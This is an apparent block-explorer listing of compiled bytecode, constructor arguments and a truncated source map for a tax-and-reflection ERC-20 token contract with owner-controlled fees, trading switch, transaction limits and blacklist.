207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610cdc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610d3e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610d6a57506000546001600160a01b03838116911614155b1561104757601554600160a01b900460ff16610e03576000546001600160a01b03848116911614610e035760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601654811115610e555760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526010602052604090205460ff16158015610e9757506001600160a01b03821660009081526010602052604090205460ff16155b610eef5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b6015546001600160a01b03838116911614610f755760175481610f118461063b565b610f1b9190611d14565b1115610f755760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b6000610f803061063b565b601854601654919250821015908210610f995760165491505b808015610fb05750601554600160a81b900460ff16155b8015610fca57506015546001600160a01b03868116911614155b8015610fdf5750601554600160b01b900460ff165b801561100457506001600160a01b03851660009081526005602052604090205460ff16155b801561102957506001600160a01b03841660009081526005602052604090205460ff16155b15611037576110378261120c565b47611043868683611386565b5050505b6001600160a01b03831660009081526005602052604090205460019060ff168061108957506001600160a01b03831660009081526005602052604090205460ff165b806110bb57506015546001600160a01b038581169116148015906110bb57506015546001600160a01b03848116911614155b156110c857506000611142565b6015546001600160a01b0385811691161480156110f357506014546001600160a01b03848116911614155b1561110557600854600c55600954600d555b6015546001600160a01b03848116911614801561113057506014546001600160a01b03858116911614155b1561114257600a54600c55600b54600d555b61098b84848484611464565b600081848411156111725760405162461bcd60e51b81526004016106149190611983565b50600061117f8486611d27565b95945050505050565b60006006548211156111ef5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b60006111f9611492565b905061120583826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125457611254611ce5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d19190611d3a565b816001815181106112e4576112e4611ce5565b6001600160a01b03928316602091820292909201015260145461130a9130911684610af2565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611343908590600090869030904290600401611d57565b600060405180830381600087803b15801561135d57600080fd5b505af1158015611371573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516bffffffffffffffffffffffff19606086811b8216602084015285901b1660348201526000916001600160a01b031690839060480160408051601f19818403018152908290526113db91611dc8565b60006040518083038185875af1925050503d8060008114611418576040519150601f19603f3d011682016040523d82523d6000602084013e61141d565b606091505b505090508061098b5760405162461bcd60e51b815260206004820152601360248201527211551217d514905394d1915497d19052531151606a1b6044820152606401610614565b80611471576114716114f7565b61147c848484611525565b8061098b5761098b600e54600c55600f54600d55565b600080600061149f61161c565b90925090506114ae82826114b5565b9250505090565b600061120583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061169e565b600c541580156115075750600d54155b1561150e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611537876116cc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115699087611729565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611598908661176b565b6001600160a01b0389166000908152600260205260409020556115ba816117ca565b6115c48483611814565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190816116316012600a611c8a565b61163f90633b9aca00611c99565b90506116676116506012600a611c8a565b61165e90633b9aca00611c99565b600654906114b5565b8210156116955760065461167d6012600a611c8a565b61168b90633b9aca00611c99565b9350935050509091565b90939092509050565b600081836116bf5760405162461bcd60e51b81526004016106149190611983565b50600061117f8486611de4565b60008060008060008060008060006116e98a600c54600d54611838565b92509250925060006116f9611492565b9050600080600061170c8e87878761188d565b919e509c509a509598509396509194505050505091939550919395565b600061120583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114e565b6000806117788385611d14565b9050838110156112055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60006117d4611492565b905060006117e283836118dd565b306000908152600260205260409020549091506117ff908261176b565b30600090815260026020526040902055505050565b6006546118219083611729565b600655600754611831908261176b565b6007555050565b6000808080611852606461184c89896118dd565b906114b5565b90506000611865606461184c8a896118dd565b9050600061187d826118778b86611729565b90611729565b9992985090965090945050505050565b600080808061189c88866118dd565b905060006118aa88876118dd565b905060006118b888886118dd565b905060006118ca826118778686611729565b939b939a50919850919650505050505050565b6000826000036118ef5750600061055a565b60006118fb8385611c99565b9050826119088583611de4565b146112055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b60005b8381101561197a578181015183820152602001611962565b50506000910152565b60208152600082518060208401526119a281604085016020870161195f565b601f01601f19169190910160400192915050565b6001600160a01b03811681146119cb57600080fd5b50565b600080604083850312156119e157600080fd5b82356119ec816119b6565b946020939093013593505050565b600080600060608486031215611a0f57600080fd5b8335611a1a816119b6565b92506020840135611a2a816119b6565b929592945050506040919091013590565b80358015158114611a4b57600080fd5b919050565b600060208284031215611a6257600080fd5b61120582611a3b565b600060208284031215611a7d57600080fd5b8135611205816119b6565b600060208284031215611a9a57600080fd5b5035919050565b60008060008060808587031215611ab757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ae857600080fd5b833567ffffffffffffffff80821115611b0057600080fd5b818601915086601f830112611b1457600080fd5b813581811115611b2357600080fd5b8760208260051b8501011115611b3857600080fd5b602092830195509350611b4e9186019050611a3b565b90509250925092565b60008060408385031215611b6a57600080fd5b8235611b75816119b6565b91506020830135611b85816119b6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611be1578160001904821115611bc757611bc7611b90565b80851615611bd457918102915b93841c9390800290611bab565b509250929050565b600082611bf85750600161055a565b81611c055750600061055a565b8160018114611c1b5760028114611c2557611c41565b600191505061055a565b60ff841115611c3657611c36611b90565b50506001821b61055a565b5060208310610133831016604e8410600b8410161715611c64575081810a61055a565b611c6e8383611ba6565b8060001904821115611c8257611c82611b90565b029392505050565b600061120560ff841683611be9565b808202811582820484141761055a5761055a611b90565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611d0d57611d0d611b90565b5060010190565b8082018082111561055a5761055a611b90565b8181038181111561055a5761055a611b90565b600060208284031215611d4c57600080fd5b8151611205816119b6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611da75784516001600160a01b031683529383019391830191600101611d82565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251611dda81846020870161195f565b9190910192915050565b600082611e0157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1140de29ec99717f5df005702820511ebe3c050a112abc2040083e6a618321964736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008d8228a053423f4eb461e5034422dc0835ef9e3d

Deployed Bytecode

0x6080604052600436106101855760003560e01c80637f2feddc116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a3578063ea1644d5146104e9578063f275f64b14610509578063f2fde38b1461052957600080fd5b8063a9059cbb14610433578063bfd7928414610453578063c492f0461461048357600080fd5b80637f2feddc146103645780638da5cb5b146103915780638f9a55c0146103af57806395d89b41146103c557806398a5c315146103f3578063a2a957bb1461041357600080fd5b8063313ce5671161013e57806370a082311161011857806370a08231146102f9578063715018a61461031957806374010ece1461032e5780637d1db4a51461034e57600080fd5b8063313ce5671461029b57806349bd5a5e146102b75780636d8aa8f8146102d757600080fd5b806306fdde0314610191578063095ea7b3146101da5780631694505e1461020a57806318160ddd1461024257806323b872dd146102655780632fd689e31461028557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600e81526d2bb7b936321026b2b6b2902bb0b960911b60208201525b6040516101d19190611983565b60405180910390f35b3480156101e657600080fd5b506101fa6101f53660046119ce565b610549565b60405190151581526020016101d1565b34801561021657600080fd5b5060145461022a906001600160a01b031681565b6040516001600160a01b0390911681526020016101d1565b34801561024e57600080fd5b50610257610560565b6040519081526020016101d1565b34801561027157600080fd5b506101fa6102803660046119fa565b610581565b34801561029157600080fd5b5061025760185481565b3480156102a757600080fd5b50604051601281526020016101d1565b3480156102c357600080fd5b5060155461022a906001600160a01b031681565b3480156102e357600080fd5b506102f76102f2366004611a50565b6105ea565b005b34801561030557600080fd5b50610257610314366004611a6b565b61063b565b34801561032557600080fd5b506102f761065d565b34801561033a57600080fd5b506102f7610349366004611a88565b6106d1565b34801561035a57600080fd5b5061025760165481565b34801561037057600080fd5b5061025761037f366004611a6b565b60116020526000908152604090205481565b34801561039d57600080fd5b506000546001600160a01b031661022a565b3480156103bb57600080fd5b5061025760175481565b3480156103d157600080fd5b506040805180820190915260058152642bb0b9674f60d91b60208201526101c4565b3480156103ff57600080fd5b506102f761040e366004611a88565b610700565b34801561041f57600080fd5b506102f761042e366004611aa1565b61072f565b34801561043f57600080fd5b506101fa61044e3660046119ce565b6108e3565b34801561045f57600080fd5b506101fa61046e366004611a6b565b60106020526000908152604090205460ff1681565b34801561048f57600080fd5b506102f761049e366004611ad3565b6108f0565b3480156104af57600080fd5b506102576104be366004611b57565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104f557600080fd5b506102f7610504366004611a88565b610991565b34801561051557600080fd5b506102f7610524366004611a50565b6109c0565b34801561053557600080fd5b506102f7610544366004611a6b565b610a08565b6000610556338484610af2565b5060015b92915050565b600061056e6012600a611c8a565b61057c90633b9aca00611c99565b905090565b600061058e848484610c16565b6105e084336105db85604051806060016040528060288152602001611e07602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061114e565b610af2565b5060019392505050565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611cb0565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461055a90611188565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161061490611cb0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106fb5760405162461bcd60e51b815260040161061490611cb0565b601655565b6000546001600160a01b0316331461072a5760405162461bcd60e51b815260040161061490611cb0565b601855565b6000546001600160a01b031633146107595760405162461bcd60e51b815260040161061490611cb0565b60048411156107b85760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610614565b60048211156108135760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420346044820152602560f81b6064820152608401610614565b60048311156108735760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610614565b60048111156108cf5760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261342560f01b6064820152608401610614565b600893909355600a91909155600955600b55565b6000610556338484610c16565b6000546001600160a01b0316331461091a5760405162461bcd60e51b815260040161061490611cb0565b60005b8281101561098b57816005600086868581811061093c5761093c611ce5565b90506020020160208101906109519190611a6b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061098381611cfb565b91505061091d565b50505050565b6000546001600160a01b031633146109bb5760405162461bcd60e51b815260040161061490611cb0565b601755565b6000546001600160a01b031633146109ea5760405162461bcd60e51b815260040161061490611cb0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a325760405162461bcd60e51b815260040161061490611cb0565b6001600160a01b038116610a975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610cdc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610d3e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610d6a57506000546001600160a01b03838116911614155b1561104757601554600160a01b900460ff16610e03576000546001600160a01b03848116911614610e035760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601654811115610e555760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526010602052604090205460ff16158015610e9757506001600160a01b03821660009081526010602052604090205460ff16155b610eef5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b6015546001600160a01b03838116911614610f755760175481610f118461063b565b610f1b9190611d14565b1115610f755760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b6000610f803061063b565b601854601654919250821015908210610f995760165491505b808015610fb05750601554600160a81b900460ff16155b8015610fca57506015546001600160a01b03868116911614155b8015610fdf5750601554600160b01b900460ff165b801561100457506001600160a01b03851660009081526005602052604090205460ff16155b801561102957506001600160a01b03841660009081526005602052604090205460ff16155b15611037576110378261120c565b47611043868683611386565b5050505b6001600160a01b03831660009081526005602052604090205460019060ff168061108957506001600160a01b03831660009081526005602052604090205460ff165b806110bb57506015546001600160a01b038581169116148015906110bb57506015546001600160a01b03848116911614155b156110c857506000611142565b6015546001600160a01b0385811691161480156110f357506014546001600160a01b03848116911614155b1561110557600854600c55600954600d555b6015546001600160a01b03848116911614801561113057506014546001600160a01b03858116911614155b1561114257600a54600c55600b54600d555b61098b84848484611464565b600081848411156111725760405162461bcd60e51b81526004016106149190611983565b50600061117f8486611d27565b95945050505050565b60006006548211156111ef5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b60006111f9611492565b905061120583826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125457611254611ce5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d19190611d3a565b816001815181106112e4576112e4611ce5565b6001600160a01b03928316602091820292909201015260145461130a9130911684610af2565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611343908590600090869030904290600401611d57565b600060405180830381600087803b15801561135d57600080fd5b505af1158015611371573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516bffffffffffffffffffffffff19606086811b8216602084015285901b1660348201526000916001600160a01b031690839060480160408051601f19818403018152908290526113db91611dc8565b60006040518083038185875af1925050503d8060008114611418576040519150601f19603f3d011682016040523d82523d6000602084013e61141d565b606091505b505090508061098b5760405162461bcd60e51b815260206004820152601360248201527211551217d514905394d1915497d19052531151606a1b6044820152606401610614565b80611471576114716114f7565b61147c848484611525565b8061098b5761098b600e54600c55600f54600d55565b600080600061149f61161c565b90925090506114ae82826114b5565b9250505090565b600061120583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061169e565b600c541580156115075750600d54155b1561150e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611537876116cc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115699087611729565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611598908661176b565b6001600160a01b0389166000908152600260205260409020556115ba816117ca565b6115c48483611814565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190816116316012600a611c8a565b61163f90633b9aca00611c99565b90506116676116506012600a611c8a565b61165e90633b9aca00611c99565b600654906114b5565b8210156116955760065461167d6012600a611c8a565b61168b90633b9aca00611c99565b9350935050509091565b90939092509050565b600081836116bf5760405162461bcd60e51b81526004016106149190611983565b50600061117f8486611de4565b60008060008060008060008060006116e98a600c54600d54611838565b92509250925060006116f9611492565b9050600080600061170c8e87878761188d565b919e509c509a509598509396509194505050505091939550919395565b600061120583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114e565b6000806117788385611d14565b9050838110156112055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60006117d4611492565b905060006117e283836118dd565b306000908152600260205260409020549091506117ff908261176b565b30600090815260026020526040902055505050565b6006546118219083611729565b600655600754611831908261176b565b6007555050565b6000808080611852606461184c89896118dd565b906114b5565b90506000611865606461184c8a896118dd565b9050600061187d826118778b86611729565b90611729565b9992985090965090945050505050565b600080808061189c88866118dd565b905060006118aa88876118dd565b905060006118b888886118dd565b905060006118ca826118778686611729565b939b939a50919850919650505050505050565b6000826000036118ef5750600061055a565b60006118fb8385611c99565b9050826119088583611de4565b146112055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b60005b8381101561197a578181015183820152602001611962565b50506000910152565b60208152600082518060208401526119a281604085016020870161195f565b601f01601f19169190910160400192915050565b6001600160a01b03811681146119cb57600080fd5b50565b600080604083850312156119e157600080fd5b82356119ec816119b6565b946020939093013593505050565b600080600060608486031215611a0f57600080fd5b8335611a1a816119b6565b92506020840135611a2a816119b6565b929592945050506040919091013590565b80358015158114611a4b57600080fd5b919050565b600060208284031215611a6257600080fd5b61120582611a3b565b600060208284031215611a7d57600080fd5b8135611205816119b6565b600060208284031215611a9a57600080fd5b5035919050565b60008060008060808587031215611ab757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ae857600080fd5b833567ffffffffffffffff80821115611b0057600080fd5b818601915086601f830112611b1457600080fd5b813581811115611b2357600080fd5b8760208260051b8501011115611b3857600080fd5b602092830195509350611b4e9186019050611a3b565b90509250925092565b60008060408385031215611b6a57600080fd5b8235611b75816119b6565b91506020830135611b85816119b6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611be1578160001904821115611bc757611bc7611b90565b80851615611bd457918102915b93841c9390800290611bab565b509250929050565b600082611bf85750600161055a565b81611c055750600061055a565b8160018114611c1b5760028114611c2557611c41565b600191505061055a565b60ff841115611c3657611c36611b90565b50506001821b61055a565b5060208310610133831016604e8410600b8410161715611c64575081810a61055a565b611c6e8383611ba6565b8060001904821115611c8257611c82611b90565b029392505050565b600061120560ff841683611be9565b808202811582820484141761055a5761055a611b90565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611d0d57611d0d611b90565b5060010190565b8082018082111561055a5761055a611b90565b8181038181111561055a5761055a611b90565b600060208284031215611d4c57600080fd5b8151611205816119b6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611da75784516001600160a01b031683529383019391830191600101611d82565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251611dda81846020870161195f565b9190910192915050565b600082611e0157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1140de29ec99717f5df005702820511ebe3c050a112abc2040083e6a618321964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008d8228a053423f4eb461e5034422dc0835ef9e3d

-----Decoded View---------------
Arg [0] : routerAddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketingAddress (address): 0x8D8228A053423f4Eb461e5034422dC0835EF9E3d

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000008d8228a053423f4eb461e5034422dc0835ef9e3d


Deployed Bytecode Sourcemap

5654:13509:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8255:83;;;;;;;;;;-1:-1:-1;8325:5:0;;;;;;;;;;;;-1:-1:-1;;;8325:5:0;;;;8255:83;;;;;;;:::i;:::-;;;;;;;;9187:193;;;;;;;;;;-1:-1:-1;9187:193:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;9187:193:0;1126:187:1;6933:41:0;;;;;;;;;;-1:-1:-1;6933:41:0;;;;-1:-1:-1;;;;;6933:41:0;;;;;;-1:-1:-1;;;;;1508:32:1;;;1490:51;;1478:2;1463:18;6933:41:0;1318:229:1;8535:95:0;;;;;;;;;;;;;:::i;:::-;;;1698:25:1;;;1686:2;1671:18;8535:95:0;1552:177:1;9389:446:0;;;;;;;;;;-1:-1:-1;9389:446:0;;;;;:::i;:::-;;:::i;7265:59::-;;;;;;;;;;;;;;;;8443:83;;;;;;;;;;-1:-1:-1;8443:83:0;;5895:2;2337:36:1;;2325:2;2310:18;8443:83:0;2195:184:1;6981:28:0;;;;;;;;;;-1:-1:-1;6981:28:0;;;;-1:-1:-1;;;;;6981:28:0;;;18529:101;;;;;;;;;;-1:-1:-1;18529:101:0;;;;;:::i;:::-;;:::i;:::-;;8639:138;;;;;;;;;;-1:-1:-1;8639:138:0;;;;;:::i;:::-;;:::i;1739:148::-;;;;;;;;;;;;;:::i;18670:121::-;;;;;;;;;;-1:-1:-1;18670:121:0;;;;;:::i;:::-;;:::i;7125:61::-;;;;;;;;;;;;;;;;6780:43;;;;;;;;;;-1:-1:-1;6780:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;1523:79;;;;;;;;;;-1:-1:-1;1561:7:0;1588:6;-1:-1:-1;;;;;1588:6:0;1523:79;;7194:63;;;;;;;;;;;;;;;;8347:87;;;;;;;;;;-1:-1:-1;8419:7:0;;;;;;;;;;;;-1:-1:-1;;;8419:7:0;;;;8347:87;;18337:139;;;;;;;;;;-1:-1:-1;18337:139:0;;;;;:::i;:::-;;:::i;17595:689::-;;;;;;;;;;-1:-1:-1;17595:689:0;;;;;:::i;:::-;;:::i;8786:199::-;;;;;;;;;;-1:-1:-1;8786:199:0;;;;;:::i;:::-;;:::i;6742:36::-;;;;;;;;;;-1:-1:-1;6742:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18924:234;;;;;;;;;;-1:-1:-1;18924:234:0;;;;;:::i;:::-;;:::i;8994:184::-;;;;;;;;;;-1:-1:-1;8994:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9143:18:0;;;9111:7;9143:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8994:184;18800:115;;;;;;;;;;-1:-1:-1;18800:115:0;;;;;:::i;:::-;;:::i;14074:104::-;;;;;;;;;;-1:-1:-1;14074:104:0;;;;;:::i;:::-;;:::i;1896:244::-;;;;;;;;;;-1:-1:-1;1896:244:0;;;;;:::i;:::-;;:::i;9187:193::-;9289:4;9311:39;352:10;9334:7;9343:6;9311:8;:39::i;:::-;-1:-1:-1;9368:4:0;9187:193;;;;;:::o;8535:95::-;8588:7;6238:15;5895:2;6238;:15;:::i;:::-;6223:30;;:12;:30;:::i;:::-;8608:14;;8535:95;:::o;9389:446::-;9521:4;9538:36;9548:6;9556:9;9567:6;9538:9;:36::i;:::-;9585:220;9608:6;352:10;9656:138;9712:6;9656:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9656:19:0;;;;;;:11;:19;;;;;;;;352:10;9656:33;;;;;;;;;;:37;:138::i;:::-;9585:8;:220::i;:::-;-1:-1:-1;9823:4:0;9389:446;;;;;:::o;18529:101::-;1651:6;;-1:-1:-1;;;;;1651:6:0;352:10;1651:22;1643:67;;;;-1:-1:-1;;;1643:67:0;;;;;;;:::i;:::-;;;;;;;;;18596:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;18596:26:0::1;-1:-1:-1::0;;;;18596:26:0;;::::1;::::0;;;::::1;::::0;;18529:101::o;8639:138::-;-1:-1:-1;;;;;8752:16:0;;8705:7;8752:16;;;:7;:16;;;;;;8732:37;;:19;:37::i;1739:148::-;1651:6;;-1:-1:-1;;;;;1651:6:0;352:10;1651:22;1643:67;;;;-1:-1:-1;;;1643:67:0;;;;;;;:::i;:::-;1846:1:::1;1830:6:::0;;1809:40:::1;::::0;-1:-1:-1;;;;;1830:6:0;;::::1;::::0;1809:40:::1;::::0;1846:1;;1809:40:::1;1877:1;1860:19:::0;;-1:-1:-1;;;;;;1860:19:0::1;::::0;;1739:148::o;18670:121::-;1651:6;;-1:-1:-1;;;;;1651:6:0;352:10;1651:22;1643:67;;;;-1:-1:-1;;;1643:67:0;;;;;;;:::i;:::-;18747:12:::1;:26:::0;18670:121::o;18337:139::-;1651:6;;-1:-1:-1;;;;;1651:6:0;352:10;1651:22;1643:67;;;;-1:-1:-1;;;1643:67:0;;;;;;;:::i;:::-;18428:19:::1;:40:::0;18337:139::o;17595:689::-;1651:6;;-1:-1:-1;;;;;1651:6:0;352:10;1651:22;1643:67;;;;-1:-1:-1;;;1643:67:0;;;;;;;:::i;:::-;17776:1:::1;17759:13;:18;;17729:90;;;::::0;-1:-1:-1;;;17729:90:0;;7107:2:1;17729:90:0::1;::::0;::::1;7089:21:1::0;7146:2;7126:18;;;7119:30;7185:34;7165:18;;;7158:62;-1:-1:-1;;;7236:18:1;;;7229:35;7281:19;;17729:90:0::1;6905:401:1::0;17729:90:0::1;17873:1;17858:11;:16;;17830:82;;;::::0;-1:-1:-1;;;17830:82:0;;7513:2:1;17830:82:0::1;::::0;::::1;7495:21:1::0;7552:2;7532:18;;;7525:30;7591:34;7571:18;;;7564:62;-1:-1:-1;;;7642:18:1;;;7635:31;7683:19;;17830:82:0::1;7311:397:1::0;17830:82:0::1;17972:1;17954:14;:19;;17923:93;;;::::0;-1:-1:-1;;;17923:93:0;;7915:2:1;17923:93:0::1;::::0;::::1;7897:21:1::0;7954:2;7934:18;;;7927:30;7993:34;7973:18;;;7966:62;-1:-1:-1;;;8044:18:1;;;8037:36;8090:19;;17923:93:0::1;7713:402:1::0;17923:93:0::1;18072:1;18056:12;:17;;18027:85;;;::::0;-1:-1:-1;;;18027:85:0;;8322:2:1;18027:85:0::1;::::0;::::1;8304:21:1::0;8361:2;8341:18;;;8334:30;8400:34;8380:18;;;8373:62;-1:-1:-1;;;8451:18:1;;;8444:32;8493:19;;18027:85:0::1;8120:398:1::0;18027:85:0::1;18125:14;:30:::0;;;;18166:15:::1;:32:::0;;;;18209:12:::1;:26:::0;18246:13:::1;:28:::0;17595:689::o;8786:199::-;8891:4;8913:42;352:10;8937:9;8948:6;8913:9;:42::i;18924:234::-;1651:6;;-1:-1:-1;;;;;1651:6:0;352:10;1651:22;1643:67;;;;-1:-1:-1;;;1643:67:0;;;;;;;:::i;:::-;19041:9:::1;19037:114;19056:19:::0;;::::1;19037:114;;;19131:8;19097:18;:31;19116:8;;19125:1;19116:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;19097:31:0::1;::::0